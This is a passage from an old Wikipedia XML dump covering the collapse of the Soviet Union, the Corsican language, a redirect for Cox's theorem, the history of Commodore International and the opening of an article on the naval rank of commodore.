The rise of nationalism under ''glasnost'' soon reawakened simmering ethnic tensions in various Soviet republics, further discrediting the ideal of a unified Soviet people.  One instance occurred in February 1988, when the government in [[Nagorno-Karabakh]], a predominantly ethnic Armenian region in the Azerbaijan SSR, passed a resolution calling for unification with the [[Armenian SSR]]. Violence against local Azerbajanis was reported on Soviet television, provoking massacres of Armenians in the Azerbaijani city of [[Sumgait]].

Emboldened by the liberalized atmosphere of ''glasnost'', public dissatisfaction with economic conditions was much more overt than ever before in the Soviet period. Although ''perestroika'' was considered bold in the context of Soviet history, Gorbachev's attempts at economic reform were not radical enough to restart the country's chronically sluggish economy in the late 1980s. The reforms made some inroads in decentralization, but Gorbachev and his team left intact most of the fundamental elements of the [[Stalinist]] system, including price controls, inconvertibility of the ruble, exclusion of private property ownership, and the government monopoly over most means of production.

By 1990 the Soviet government had virtually lost control over economic conditions. Government spending increased sharply as an increasing number of unprofitable enterprises required state support and consumer price subsidies to continue. Tax revenues declined as revenues from the sales of vodka plummeted during the anti-alcohol campaign and because republic and local governments withheld tax revenues from the central government under the growing spirit of regional autonomy. The elimination of central control over production decisions, especially in the consumer goods sector, led to the breakdown in traditional supplier-producer relationships without contributing to the formation of new ones. Thus, instead of streamlining the system, Gorbachev's decentralization caused new production bottlenecks.

==Yeltsin and the dissolution of the USSR==
[[Image:Gorbachev and Yeltsin.jpg|thumb|right|250px|Gorbachev accused [[Boris Yeltsin]], his old rival and [[Russia]]'s first post-Soviet president, of tearing the country apart out of a desire to advance his own personal interests.]]
On [[February 7]], [[1990]] the Central Committee of the Communist Party of the Soviet Union agreed to give up its monopoly of [[power (sociology)|power]]. The USSR's constituent republics began to assert their national sovereignty over Moscow, and started a &quot;war of laws&quot; with the central Moscow government, in which the governments of the constituent republics repudiated all-union legislation where it conflicted with local laws, asserting control over their local economies and refusing to pay tax revenue to the central Moscow government. This strife caused economic dislocation, as supply lines in the economy were broken, and caused the Soviet economy to decline further.

In January 1990, a visit by Gorbachev to the Lithuanian capital, [[Vilnius]], provoked a pro-independence rally of around 250,000 people. On [[March 11]] [[1990]], Lithuania, led by Chairman of the Supreme Council [[Vytautas Landsbergis]], declared independence. However, the [[Red Army]] had a strong presence in Lithuania. The Soviet Union initiated an economic blockade of Lithuania and kept troops there &quot;to secure the rights of ethnic Russians.&quot;

On [[March 30]], [[1990]] the Estonian Supreme Council declared Soviet power in [[Estonia]] since [[1940]] to have been illegal, and started a process to reestablish Estonia as an independent state.

On [[January 13]], [[1991]] clashes between Soviet troops and unarmed Lithuanian civilians occurred. This further weakened the Soviet Union's legitimacy, internationally and domestically.

On [[March 17]], [[1991]], in a Union-wide [[referendum]] 78&amp;nbsp;% of all voters voted for the retention of the Soviet Union in a reformed form. The Baltics, Armenia, Georgia and [[Moldavian SSR|Moldova]] boycotted the referendum. In each of the other nine republics, a majority of the voters supported the retention of the Soviet Union.

In June 1991, direct elections were held for the post of president of the [[Russian SFSR]]. [[Boris Yeltsin]] got 57&amp;nbsp;% of the vote, [[Nikolai Ryzhkov]] got 16&amp;nbsp;%.

===The August Coup===
''For the main article see [[Soviet coup attempt of 1991]].''

Gorbachev attempted to restructure the Soviet Union into a less centralized state. On [[August 20]], [[1991]], the republics were to sign a new union [[treaty]], making them independent republics. The new treaty was supported by the [[Central Asia|Central Asian]] republics, who needed the Soviet Union to prosper. Disintegration of the USSR also accorded the desire of local authorities, such as Yeltsin's presidency, to establish full power over their territories. The conservatives and remaining patriots of the USSR, still strong within the CPSU and military establishment, were completely opposed to anything which might contribute to the weakening of the Soviet state.

On [[August 19]], [[1991]], to prevent the signing of the union treaty by forming the &quot;State Committee on the State Emergency.&quot; The &quot;Committee&quot; put Gorbachev (vacationing in the [[Crimea]]) under house arrest and attempted to restore the union state. The coup leaders quickly issued an emergency decree suspending political activity and banning most newspapers.

Thousands of people came out to defend the &quot;White House&quot; (Yeltsin's office), then the symbolic seat of Russian sovereignty. The organizers tried but ultimately failed to arrest Boris Yeltsin, who rallied mass opposition to the coup.

On [[August 21]], the coup collapsed, and Gorbachev returned as president of the Soviet Union. Gorbachev's powers were fatally compromised as neither union nor Russian power structures heeded his commands. Through the fall of 1991, the Russian government took over the union government, ministry by ministry. In [[November]] 1991, Yeltsin issued a decree banning the CPSU throughout the Russian republic. 

On [[September 6]], [[1991]], the Soviet government recognized the independence of the three Baltic states. Then on [[December 1]], [[1991]], Ukraine declared its independence from the USSR after a popular referendum wherein 90&amp;nbsp;% of voters opted for independence.

===Formation of the CIS and official end of the USSR===

On [[December 8]], [[1991]], the leaders of the Russian, Ukrainian, and [[Belarusian SSR|Belarusian]] republics met in [[Belavezhskaya Pushcha]] to issue a declaration that the Soviet Union was dissolved and replaced by the [[Commonwealth of Independent States]] (CIS). 

Twelve of the fifteen republics signed the [[European Energy Charter]] in the Hague on [[December 17]], [[1991]] as if they were sovereign states, along with 28 other European countries, the European Community, and four non-European countries.  

On [[December 25]], [[1991]], Gorbachev resigned as president of the USSR. By [[December 31]], [[1991]] all official Soviet institutions had ceased operations as individual republics assumed the central government's role. The Soviet flag was lowered for the last time over the Kremlin.

===Summary===
The four principal elements of the old Soviet system were the hierarchy of soviets, ethnic [[federation|federalism]], state [[socialism]], and Communist Party dominance. Gorbachev's programs of ''perestroika'' and ''glasnost'' produced radical unanticipated effects that brought that system down. As a means of reviving the Soviet state, Gorbachev repeatedly attempted to build a coalition of political leaders supportive of reform and created new arenas and bases of power. He implemented these measures because of economic problems and political inertia that clearly threatened to put the Soviet Union into a state of long-term stagnation. 

But by using structural reforms to widen opportunities for leaders and popular movements in the union republics to gain influence, Gorbachev also made it possible for nationalist, orthodox communist, and populist forces to oppose his attempts to liberalize and revitalize Soviet communism. Although some of the new movements aspired to replace the Soviet system altogether with a liberal democratic one, others demanded independence for the national republics. Still others insisted on the restoration of the old Soviet ways. Ultimately, Gorbachev could not forge a compromise among these forces and the consequence was the collapse of the Soviet Union.

==Post-Soviet restructuring==
:''For main article see [[History of post-Soviet Russia]].''

[[Image:143669 beggar300.jpg|thumb|right|250px|Begging in the streets of post-Soviet Russia became increasingly common in the 1990s.]]
In order to restructure the Soviet administrative command system and effect a transition to [[capitalism]], Yeltsin's [[Shock_therapy_(economics)|shock program]], employed days after the dissolution of the Soviet Union, cut subsidies to money-losing farms and industries, decontrolled prices, moved toward convertibility of the [[ruble]], created opportunities for his circle and other enterpreneurs to seize the former people's property and moved toward restructuring the largely state-owned economy. After obtaining power, the vast majority of idealistic reformers gained huge possessions using their key positions in government structures. Preexisting institutions had been abandoned before the legal structures of a market economy that governed private property, oversaw the financial market, and enforced taxation had been made functional.

Market economists believed that the dismantling of the administrative command system in Russia would raise [[GDP]] and living standards by allocating resources more efficiently. They also thought the collapse would create a movement outward towards production possibilities by eliminating central planning, substituting a decentralized market system, eliminating huge distortions through liberalization, and providing incentives through privatization.

Russia currently faces many problems that the planners in 1992 did not expect, including the 25% of the population that now lives below the poverty line, a drop in life expectancy, low birthrates, and the drop in GDP, which plunged by half after the USSR's collapse. In the eyes of many of the older generation in Russia, life under the old Soviet system was much better and more secure than it is today. These problems led to a series of crises in the 1990s, which nearly lead to election of Yeltsin's Communist opponent in the [[Russian presidential election, 1996|1996 presidential election]].

{| width=100%
|-
|align=left|'''[[History of the Soviet Union (1953-1985)|&lt;&lt; History of the Soviet Union (1953-1985)]]'''
|}

==External links==
* [http://www.bbc.co.uk/history/war/coldwar/soviet_end_01.shtml Reform, Coup and Collapse: The End of the Soviet State] by Professor Archie Brown.
* [http://psi.ece.jhu.edu/~kaplan/IRUSS/BUK/GBARC/buk.html Soviet Archives] collected by [[Vladimir Bukovsky]]
* [http://www.fsmitha.com/h2/ch33.htm The Soviet Union Disintegrates] by [[Frank E. Smitha]]

==Further reading==
* Helene Carrere D'Encausse, ''The End of the Soviet Empire: The Triumph of the Nations'', Basic Books, 1992, ISBN 0465098185

* Ronald Grigor Suny, ''The Revenge of the Past: Nationalism, Revolution, and the Collapse of the Soviet Union'', Stanford University Press, 1993, ISBN 0804722471

{{Communist Eastern Europe}}

[[Category:History of the Soviet Union and Soviet Russia]]

[[it:Storia dell'Unione Sovietica (1985-1991)]]
[[ja:ソ連崩壊]]
[[ro:Istoria Uniunii Sovietice (1985-1991)]]
[[zh:苏联解体]]</text>
    </revision>
  </page>
  <page>
    <title>Corsican language</title>
    <id>7578</id>
    <revision>
      <id>38570903</id>
      <timestamp>2006-02-07T04:29:56Z</timestamp>
      <contributor>
        <username>Tobias Conradi</username>
        <id>10784</id>
      </contributor>
      <comment>{{Infobox Language</comment>
      <text xml:space="preserve">{{Infobox Language
|name=Corsican
|nativename=Corsu, Corso, Corse, Corsi
|familycolor=Indo-European
|region=[[Corsica]], [[France]]
|speakers=402,000 (dubious, more probably ca. 100,000)
|fam2=[[Italic languages|Italic]]
|fam3=[[Romance languages|Romance]]
|fam4=[[Italian language|Italian]]
|iso1=co|iso2=cos|iso3=cos}}

'''Corsican''' (''Corsu'' or ''Lingua Corsa'') is a [[Romance language]] spoken on the island of [[Corsica]] ([[France]]), alongside [[French language|French]], which is the official language. A similar dialect to Corsican is also spoken to some extent in the [[Gallura]] area of [[Sardinia]] ([[Italy]]). It has strong similarities to [[Italian language|Italian]] and in particular the [[Tuscany]] dialects of Italian. Most linguists consider it as a Tuscany dialect, the closest to modern Italian. 

According to its [[Unesco]] classification, the Corsican language is currently in danger of becoming extinct. In recent years, greater protection for the language has been discussed as part of proposals for increased autonomy of the region of Corsica from France. 

The language has several dialects including Northern Corsican, spoken in the [[Bastia]] and [[Corte]] area, and Southern Corsican, spoken around [[Sartene]] and [[Porto-Vecchio]]. The dialect of [[Ajaccio]] has been described as in transition. The dialects spoken at [[Calvi]] and [[Bonifacio]] are closer to [[Genoa]] dialect, also known as Ligurian.

In the Sardinian region of Gallura, including the town of [[Tempio Pausania]], and on the island of [[La Maddalena]] &quot;[[Gallurese]]&quot; is spoken. This is a transitional dialect with many similarities with Southern Corsican.

The Corsican language is a key vehicle for Corsican culture, which is notably rich in [[proverb]]s. Corsica also has a tradition of [[polyphony|polyphonic]] singing that dates back to the 16th century and is thought to have evolved from similar traditions on the Italian mainland.

==See also==
*[[Languages of France]]

==External links==
{{InterWiki|code=co}}
* [http://www.ethnologue.com/show_language.asp?code=cos Ethnologue report for Corsican]
* [http://wikiquote.org/wiki/Corsican_proverbs Wikiquote: Corsican proverbs]

== References == 
* Marcel Peres, ''Le Chant religieux corse''

{{ie-lang-stub}}

[[Category:Romance languages]]
[[Category:Languages of France]]
[[Category:Corsica]]

[[af:Korsikaans]]
[[co:Lingua Corsa]]
[[da:Korsikansk (sprog)]]
[[de:Korsische Sprache]]
[[es:Idioma corso]]
[[fr:Langue corse]]
[[it:Lingua corsa]]
[[li:Corsicaans]]
[[nl:Corsicaans]]
[[ja:コルシカ語]]
[[pl:Język korsykański]]
[[pt:Língua corsa]]
[[sc:Limba corsicana]]
[[sv:Korsikanska]]
[[zh:科西嘉语]]</text>
    </revision>
  </page>
  <page>
    <title>Coxs theorem</title>
    <id>7579</id>
    <revision>
      <id>15905641</id>
      <timestamp>2002-04-14T14:45:56Z</timestamp>
      <contributor>
        <ip>213.253.39.46</ip>
      </contributor>
      <comment>#redirect [[Cox's theorem]]</comment>
      <text xml:space="preserve">#redirect [[Cox's theorem]]</text>
    </revision>
  </page>
  <page>
    <title>Commodore International</title>
    <id>7580</id>
    <revision>
      <id>41318091</id>
      <timestamp>2006-02-26T14:59:51Z</timestamp>
      <contributor>
        <ip>84.52.81.43</ip>
      </contributor>
      <text xml:space="preserve">'''Commodore''' is the commonly used name for '''Commodore International''', a [[West Chester, Pennsylvania]] based electronics company who was a vital player in the [[home computer|home]]/[[personal computer]] field in the [[1980s]]. The company is also known under the name of its [[R&amp;D]] operation, '''Commodore Business Machines''' ('''CBM'''). Commodore developed and marketed the world's best-selling desktop computer, the [[Commodore 64]] (1982). The company declared [[bankruptcy]] in [[1994]], but since then, there have been several attempts to revive its [[Amiga]] systems.
[[Image:CBM Logo.svg|right|thumb|220px|The classic '''Commodore''' (&quot;'''C='''&quot;) logotype (known informally as the &quot;[[chicken]]head&quot;).]]

== History ==

=== Foundation and early years ===

[[Image:Commodore Logo(197x).png|right|thumb|220px|Original Commodore logo: all-lowercase company name (1962&amp;ndash;1984).]]
The company that would become Commodore International was started in Toronto by [[Jack Tramiel]] in [[1954]]. He had already run a small business fixing [[typewriter]]s for a few years while living in New York and driving a cab, but managed to sign a deal with a Czechoslovakian company to manufacture their designs in Canada and moved to Toronto to start production. By the late 1950s a wave of Japanese machines forced most North American typewriter companies out of business, but Tramiel instead turned to [[adding machine]]s.

In [[1962]] the company was formally incorporated as '''Commodore Business Machines''' ('''CBM'''). In the late [[1960s]] history repeated itself again when Japanese firms started producing adding machines. The company's main investor and chairman, [[Irving Gould]], suggested that Tramiel travel to Japan to understand how they could compete. Instead he returned with a new idea, to produce electronic [[calculator]]s, which were just coming on the market.

Commodore soon had a profitable calculator line and was one of the more common brands in the early [[1970s]], producing both ordinary as well as scientific/programmable calculators. However in [[1975]] [[Texas Instruments]], the main supplier of calculator parts, decided to enter the market directly and put out a line of machines priced at less than what it charged Commodore for the parts. Commodore had to be rescued once again by an infusion of cash from Gould, which Tramiel used beginning in [[1976]] to purchase several second-source chip suppliers, including [[MOS Technology|MOS Technology, Inc.]], in order to guarantee supply. He agreed to buy MOS, who were having troubles of its own, only on the condition that its chip designer [[Chuck Peddle]] join Commodore directly as head of engineering.

=== &quot;Computers for the masses, not the classes&quot; ===

Once Chuck Peddle had taken over engineering at Commodore, he convinced Jack Tramiel that calculators were already a dead end and that they should turn their attention to [[home computer]]s. Peddle packaged his existing [[KIM-1]] [[single-board computer]] design in a metal case, along with a full-travel [[QWERTY]] keyboard, [[monochrome]] [[computer monitor|monitor]], and [[Datassette|tape recorder]] for program and data storage, to produce the [[Commodore PET]].  From its [[1977]] debut, Commodore would be a computer company.

Commodore had been reorganized the year before into '''Commodore International, Ltd.''', moving its financial headquarters to the [[Bahamas]] and its operational headquarters to [[West Chester, Pennsylvania]], close to the MOS Technology site. The operational headquarters, where research and development of new products were taking place, retained the name Commodore Business Machines, Inc.

The PET computer line was used primarily in [[Primary education|school]]s, due to its tough all-metal construction (some models were labeled &quot;Teacher's PET&quot;), but did not compete well in the home setting where graphics and sound were important. This was addressed with the introduction of the [[Commodore VIC-20|VIC-20]] in [[1981]], which was introduced at a cost of $299 and sold in retail stores. Commodore took out aggressive ads featuring [[William Shatner]] asking consumers &quot;Why buy just a video game?&quot;  The strategy worked and the VIC-20 became the first computer to ship more than one million units. A total of 2.5 million units were sold over the machine's lifetime.

CBM introduced the [[Commodore 64]] in [[1982]] as the successor to the VIC-20. Thanks to a well-integrated series of [[integrated circuit|chips]] designed by MOS, the C64 possessed remarkably-capable sound and graphics for its time and is often credited with starting the computer [[demo scene]]. Its $595 price was high compared to the VIC-20, but it was still much less expensive than any other 64K computer on the market. Early C64 ads boasted &quot;You can't buy a better computer at twice the price.&quot;

In [[1983]] Tramiel decided to focus on market share and cut the price of the VIC-20 and C64 dramatically.  TI responded by cutting prices on its [[Texas Instruments TI-99/4A|TI-99/4A]], which had been introduced in 1981. Soon there was an all-out price war involving Commodore, TI, [[Atari]] and practically every vendor other than [[Apple Computer]].  This price war contributed to the [[Video game crash of 1983|video game crash of 1983]].  By the end of this conflict, Commodore had shipped somewhere around 22 million C64s&amp;mdash;making the C64 the best selling computer of all time&amp;mdash;and in the process drove TI out of the home-computer market, almost destroyed Atari, bankrupted most smaller companies, and wiped out its own savings.  Tramiel's motto, &quot;Business is war,&quot; took its toll.

===Tramiel quits; The Amiga vs ST battle ===

[[Image:Commodore Logo(1985).png|right|thumb|220px|Second Commodore logo, with mixed-case company name (1985&amp;ndash;1994).]]
Commodore's board of directors was as trapped as anyone else by the price spiral and decided it wanted out. A power struggle started inside the company, and in January [[1984]], Tramiel quit. He founded a new company, Tramiel Technologies, and hired away a number of Commodore engineers to begin work on a next-generation computer design. Then, in July 1984 he bought the consumer side of Atari Inc. from [[Time Warner|Warner Communications]], providing him with a manufacturing base and sales network to help him strike back at his rivals at Commodore.

Now it was up to the remaining Commodore management to salvage the company and plan for the future. It did so by buying a small company called [[Amiga Corporation]]. The company was better known for its forays into the video game market, designing controllers for game consoles as well as making games for the Atari 2600. But as it turned out, its video game business was more of a smoke screen to fund the company's true purpose, designing a groundbreaking new computer. Commodore brought this new [[16-bit]] computer design (known initially as the Lorraine, later dubbed the [[Amiga 1000]]) to market in the fall of [[1985]] for US $1295.

But Tramiel had beaten Commodore to the punch. He had already released the [[Atari ST]] earlier in 1985 for about $800. However, this was not the design Atari had intended to launch at the time. Prior to Tramiel's purchase of the company, Atari had signed a licensing deal with Amiga that granted them use of the Lorraine's custom chips, the very chips that made Amiga's computer so powerful. Tramiel wanted to use these chips in his forthcoming ST computer, but true to form he wanted those chips at a bargain-basement price. Knowing Amiga was strapped for cash as a result of the crash of the video game market, he held back a scheduled payment Atari was due to pay Amiga in an effort to force it to renegotiate the contract with terms more favorable to Atari. This strategy backfired when Commodore bought Amiga and canceled the contract, citing Atari's late payment as the reason. In the end, Atari was forced to use off-the-shelf components to complete the ST's design. (A lawsuit over the Amiga license dragged on for years, only to be abruptly settled. Terms were not disclosed, but many speculate the settlement involved Atari obtaining Amiga development systems for use with the [[Atari Lynx|Lynx]] handheld game system.)

Throughout the life of the ST and Amiga platforms, a ferocious Atari-Commodore rivalry raged. While this rivalry was in many ways a holdover from the days when the Commodore 64 had first challenged the Atari 800 (among others) in a series of scathing television commercials, the events leading to the launch of the ST and Amiga only served to further alienate fans of each computer, who fought vitriolic [[Flame_war#Holy_wars|holy wars]] on the question of which platform was superior. This was reflected in roughly-similar sales numbers for the two platforms until the release of the [[Amiga 500]] in [[1987]], which took over the market from the ST. Ultimately, the Amiga outsold the ST about 1.5 to 1 in spite of being later to market. Neither platform, however, captured a significant share of the world computer market.

=== The beginning of the end ===

In the 1970s and early 80s, the computer press had often come to Commodore--one of the industry's leading players--and its colorful management for information. The VIC-20 and C64, although aggressively marketed, arguably were successful more because of their price than because of their marketing. After Tramiel's departure, Commodore executives shied away from mass advertising and other marketing ploys, fearful of repeating past mistakes.  Commodore also retreated from its earlier strategy of selling its computers at discount houses and toy stores, and now favored authorized dealers.

However, by the late 1980s, the personal computer market had become dominated by the [[IBM PC]] and [[Apple Macintosh]] platforms. By comparison, Commodore's marketing efforts for the Amiga proved ineffective and even seemed half-hearted (one common joke was &quot;If CBM got the contract to advertise [[Kentucky Fried Chicken]], they'd call it 'Warm Dead Bird'&quot;).  The company also concentrated on consumer products that would not see demand for another couple of years &amp;ndash; including a [[digital television|digital TV]] system called [[CDTV]], and later a 32-bit [[CD-ROM]]-based [[game console]]: the [[Amiga CD32|CD32]].

Once the clear technology leader, the Amiga rapidly lost ground as the personal computer market became increasingly dominated by the [[IBM PC compatible|IBM PC]]. When introduced in 1985, the Amiga was competing favorably against [[Intel 80286|286]]-based systems with [[Enhanced Graphics Adapter|EGA]] graphics and rudimentary sound capabilities that frequently cost 2&amp;ndash;3 times as much. But well into the early 1990s, CBM continued selling mostly Amigas with 7&amp;ndash;14 [[megahertz|MHz]] [[Motorola 68000|68000]]-family CPUs (even though [[Amiga 3000]] with 25Mhz [[68030]] was in the market by that time), when PCs with 33 MHz [[Intel 80486|486]]'s, high-color [[graphics card]]s and [[SoundBlaster]] (or compatible) [[sound card]]s offered comparable, and eventually higher, performance at very competitive prices. Software developers by and large became focused primarily, if not exclusively, on the PC market.

The Amiga hardware did not begin to reach feature parity with PCs until the release of the [[A4000]] and [[A1200]] computers in late [[1992]], which featured an improved graphics chipset, the [[Advanced Graphics Architecture|AGA]].  By this point, both the IBM PC and Apple Macintosh had several times the market share of the Amiga platform.  As software developers shifted to these platforms, the Amiga lost value for mainstream consumers.  The custom-designed and custom-built AGA chipset also cost Commodore considerably more than the commodity chips used in IBM PCs, reducing Commodore's profit margins.  Although welcomed by Amiga enthusiasts, the machines did little to improve Commodore's fortunes.

=== The sun sets on Commodore ===

With market share eroding, Commodore embarked on a series of decisions that were heavily questioned by shareholders and the press, who sometimes accused management of only being interested in removing as much value from the company as possible before it finally disappeared. By [[1994]], only its operations in [[Germany]] and the [[United Kingdom]] were still profitable.

Commodore declared bankruptcy on [[April 29]] [[1994]], and its assets were liquidated. The former site of Commodore's operational headquarters in [[West Chester, Pennsylvania]], now houses the headquarters and broadcast studios of leading cable retailer [[QVC]], Inc. (On [[November 26]], [[2004]], QVC became the first retailer to sell the [[C64 Direct-to-TV|DTV]], a &quot;C64 in a joystick&quot; designed by [[Jeri Ellsworth]].)

The company's computer systems, especially the C64 and Amiga series, retained a cult following among their users for years after its demise.

===Post-Commodore International, Ltd.===

Following its liquidation, Commodore's former assets went their separate ways, with none of Commodore's successors repeating Commodore's early success.

Commodore UK was the only subsidiary to survive the bankruptcy and even placed a bid to buy out the rest of the operation, or at least the former parent company. For a time it was considered the front runner in the bid, and numerous reports, all false, surfaced during the [[1994]]-[[1995]] time frame that Commodore UK had made the purchase. Commodore UK stayed in business by selling old inventory and making computer speakers and some other types of computer peripherals. However, Commodore UK lost its financial backing after several larger companies, including [[Gateway Computers]] and [[Dell Inc.]], became interested, primarily for Commodore's 47 patents relating to the Amiga. Ultimately, the successful bidder was [[Germany|German]] PC conglomerate [[Escom]], and Commodore UK was absorbed into Escom in mid-[[1995]].

Escom paid US$14 million for Commodore International, primarily for the Commodore brand name. It separated the Commodore and Amiga operations into separate divisions and quickly started using the brand name on a line of PCs sold in [[Europe]]. However, it quickly started losing money, went bankrupt on [[July 15]], [[1996]], and was liquidated.

In September [[1997]], the Commodore brand name was acquired by Dutch computer maker [[Tulip Computers NV]]. Tulip's ownership was little more than the answer to a trivia question until [[July 11]], [[2003]], when Tulip announced it would re-launch the Commodore name, including new Commodore 64-related products, and threatened legal action against commercial Web sites that used the computer's name without a license. On [[18 June]] [[2004]], Tulip introduced the website CommodoreWorld.com (see external links, below), run by its new daughter company '''Commodore International BV'''.

The Commodore brand name resurfaced in late [[2003]] on an inexpensive portable [[MP3]] player made in [[China]] by [[Tai Guen Enterprise]], sold mostly in [[Europe]]. However, the device's connection to Tulip, the legal owners of the name, is unclear.

In July of [[2004]], Tulip announced a new series of products using the Commodore name: fPET, a flash memory-based USB Key drive; mPET, a flash-based MP3 Player and digital recorder; eVIC, a 20 GB music player; and the C64 DTV.

In late [[2004]] Tulip sold the Commodore name to [http://www.commodoreworld.com/corporate/ Yeahronimo Media Ventures] for &amp;#8364;22 million [http://www.theregister.com/2004/12/29/tulip_sells_commodore/]. The sale was completed in March [[2005]] after months of negotiations.

The Commodore Semiconductor Group (formerly MOS Technology, Inc.) was bought by its former management and in [[1995]], resumed operations under the name '''GMT Microelectronics''', utilizing a troubled facility in [[Norristown, Pennsylvania]] that Commodore had closed in [[1992]]. By [[1999]] it had $21 million in revenues and 183 employees. However, in [[2001]] the [[Environmental Protection Agency]] shut the plant down. GMT ceased operations and was liquidated.

Ownership of the Amiga line passed through several owners, from Escom of Germany in [[1995]], and then to U.S. PC clone maker [[Gateway Computers|Gateway]] in [[1997]], before being licensed to '''Amiga, Inc.''', a company founded by former Gateway employees Bill McEwen and Fleecy Moss in [[2000]].

== Product line ==

===Computers, 8-bit===
''(listed chronologically)''
*[[Commodore PET|Commodore PET/CBM]] range
*[[Commodore VIC-20]] - aka VC-20
*[[Commodore CBM-II]] range - aka B-range aka 600/700 range
*[[Commodore 64]] - incl C64C
*[[Commodore SX-64]] - all-in-one [[portable computer|portable]] C64 incl screen and disk drive
*[[Commodore 16]] - incl C116, incompatible with C64
*[[Commodore Plus/4]] - compatible with C16
*[[Commodore LCD]] - [[liquid crystal display|LCD]]-equipped [[laptop computer|laptop]] (never released)
*[[Commodore 128]] - incl 128D and 128DCR
*[[Commodore 65]] - C64 successor (never released)

===Computers, 16/32-bit===
*[[Commodore 900]] (never released)
*[[Commodore Amiga]] range
*[[IBM PC compatible|IBM PC clone]]s - Commodore Colt, PC1, PC10, PC20, PC30, PC40, &lt;tt&gt;...&lt;/tt&gt;, 486SX-LTC

===Peripherals===
''(listed by model number; [[IEEE-488]] devices primarily used with PET/CBM range systems)''
*[[Commodore 1350]] - [[Computer mouse|Mouse]] (joystick emulation only, thus unable to track differing speeds)
*[[Commodore 1351]] - Mouse (for use with [[GEOS (8-bit operating system)|GEOS]] and point'n'click apps; analog input, allowing it to track differing speeds)
*[[Commodore 1520]] - Small serial [[plotter]].
*[[Datassette|Commodore 1530]] - Data [[compact audio cassette|cassette]] recorder (aka C2N)
*[[Commodore 1531]] - Data cassette recorder (like 1530 but for C16 &amp; Plus/4)
*[[Commodore 1540]] - 5&amp;frac14;&quot; [[Floppy disk]] drive for use with the VIC-20
*[[Commodore 1541]] - 5&amp;frac14;&quot; Floppy disk drive (incl 1541C and 1541-II) for use with the C64 and later
*[[Commodore 1551]] - 5&amp;frac14;&quot; Floppy disk drive (for C16 &amp; Plus/4; connects to cartridge port)
&lt;!--*[[Commodore 1561]] - 3&amp;frac12;&quot; Floppy disk drive (external, battery-powered, intended for CLCD; never released)--&gt;&lt;!--should we really include unreleased peripherals? --Wernher--&gt;
*[[Commodore 1570]] - 5&amp;frac14;&quot; Floppy disk drive (primarily for C128), single sided
*[[Commodore 1571]] - 5&amp;frac14;&quot; Floppy disk drive (primarily for C128), double sided
*[[Commodore 1581]] - 3&amp;frac12;&quot; Floppy disk drive
*[[Commodore 1701|Commodore 1701/1702]] - [[Composite video]] and [[S-Video|Y/C (chroma/luma)]] monitor
*[[Commodore REU|Commodore 1700/1750/1764]] - RAM Expansion Unit (REU) for C64/128, with 128/512/256 KB (in that order)
*[[Commodore 1801|Commodore 1801/1802]] - Composite video and Y/C monitor
*[[Commodore 1901|Commodore 1901/1902/2002]] - Composite, Y/C, and [[RGB]] monitor
*[[Commodore 2031|Commodore 2031/4031]] - 5&amp;frac14;&quot; Floppy disk drive with [[IEEE-488]] interface
*[[Commodore 2031|Commodore 2031LP]] - 5&amp;frac14;&quot; Floppy disk drive with IEEE-488 interface (PET/CBM version of Commodore 1541)
*[[Commodore 4040]] - 5&amp;frac14;&quot; Dual floppy disk drive with IEEE-488 interface
*[[Commodore 8050|Commodore 8050/8250/8250LP]] - 5&amp;frac14;&quot; Dual &quot;quad&quot; density floppy disk drive with IEEE-488 interface
*[[Commodore 8280]] - 8&quot; Floppy disk drive with IEEE-488 interface
*[[Commodore 9060|Commodore 9060/9090]] - [[Hard disk]] drive with 5 [[megabyte|MB]]/10 MB capacity and IEEE-488 interface
*[[Commodore 8050|Commodore SFD-1001]] - 5&amp;frac14;&quot; Double sided, quad density floppy disk drive with IEEE-488 interface
&lt;!--
*[[Commodore 4510]]
  --&gt;

===Software===
*[[AmigaOS]] - Operating system for the Amiga range; multitasking, microkernel, GUI
*[[Amiga UNIX]] - Operating system for the Amiga, based on UNIX [[System V Release 4|SVR4]]
*[[Commodore BASIC]] - BASIC interpreter for the 8-bit range, ROM resident; based on [[Microsoft BASIC]]
*[[Commodore DOS]] - Disk operating system for the 8-bit range; embedded in disk drive ROMs
*[[KERNAL]] - Core OS routines for the 8-bit range; ROM resident
*[[Simons' BASIC]] - BASIC extension for the C64; cartridge-based
*[[Super Expander]] - BASIC and memory extension for the VIC-20; cartridge-based
*[[Super Expander 64]] - BASIC extension for the C64

==External links==
{{commons|Commodore International}}
*[http://www.commodore.ca/history/company/chronology_portcommodore.htm Chronological History of Commodore Computer] &amp;ndash; by Larry Anderson
*[http://zimmers.net/commie/docs/cbm-products.txt The Canonical List of Commodore Products] &amp;ndash; by Jim Brain, maintained by Bo Zimmerman
*[http://www.floodgap.com/retrobits/ckb/ Commodore Knowledge Base] &amp;ndash; including Secret Weapons of Commodore
*[http://www.commodorebook.com On the Edge: The Spectacular Rise and Fall of Commodore] &amp;ndash; a book by Brian Bagnall that tells the story of Commodore through first-hand accounts by former Commodore engineers and managers.
*[http://www.commodoreworld.com CommodoreWorld] &amp;ndash; website dedicated to Commodore branded hardware.
*[http://www.devili.iki.fi/Computers/Commodore/ Service Manuals] &amp;ndash; and more

&lt;!--
Aargh! the following link is now dead and the contents of the site have been moved to fee-based site http://www.jonesencyclo.com/.  --Wernher
*[http://www.digitalcentury.com/encyclo/update/commodr.html A short history of the company]
  --&gt;

[[Category:Commodore International|*]]
[[Category:Defunct computer companies of the United States]]
[[Category:Home computer hardware companies]]
[[Category:Electronics companies of Canada]]
[[Category:Computer hardware companies]]
[[Category:Defunct computer hardware companies]]

[[da:Commodore International]]
[[de:Commodore International]]
[[es:Commodore International]]
[[fr:Commodore International]]
[[hr:Commodore]]
[[it:Commodore International]]
[[hu:Commodore Business Machines]]
[[nl:Commodore (bedrijf)]]
[[ja:コモドール]]
[[pl:Commodore International]]
[[ru:Commodore]]
[[sl:Commodore]]
[[fi:Commodore]]
[[sv:Commodore Business Machines]]
[[tr:Commodore International]]</text>
    </revision>
  </page>
  <page>
    <title>Commodore (rank)</title>
    <id>7581</id>
    <revision>
      <id>40362371</id>
      <timestamp>2006-02-20T01:42:04Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">:''Please see &quot;[[Commodore]]&quot; for other uses of this term''
'''Commodore''' is a [[military rank]] used in some [[navy|navies]] for officers whose position exceeds that of a Captain, but is less than that of a [[flag officer]].  

==History==

The rank of Commodore derives from the [[French language|French]] ''commandeur'', which was one of the highest ranks in orders of [[knight]]hood, and in military orders the title of the knight in charge of a ''commenda'' (a local part of the order's territorial possessions).  

